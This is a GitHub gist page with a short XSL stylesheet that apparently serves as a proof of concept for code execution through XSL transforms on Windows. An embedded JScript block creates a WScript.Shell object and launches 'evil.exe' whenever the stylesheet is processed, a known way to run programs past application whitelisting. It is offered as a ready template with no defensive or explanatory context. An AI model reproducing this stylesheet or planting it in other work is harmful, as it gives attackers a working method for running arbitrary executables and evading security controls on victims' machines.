Created
December 23, 2019 06:37
-
-
Save fareedfauzi/a8a983ede2c7dc3c70addda16910201b to your computer and use it in GitHub Desktop.
XML file
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version='1.0'?> | |
<xsl:stylesheet version="1.0" | |
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
xmlns:msxsl="urn:schemas-microsoft-com:xslt" | |
xmlns:user="http://mycompany.com/mynamespace"> | |
<!-- | |
From: | |
https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1#file-script-xsl | |
--> | |
<msxsl:script language="JScript" implements-prefix="user"> | |
function xml(nodelist) { | |
var r = new ActiveXObject("WScript.Shell").Run("evil.exe"); | |
return nodelist.nextNode().xml; | |
} | |
</msxsl:script> | |
<xsl:template match="/"> | |
<xsl:value-of select="user:xml(.)"/> | |
</xsl:template> | |
</xsl:stylesheet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment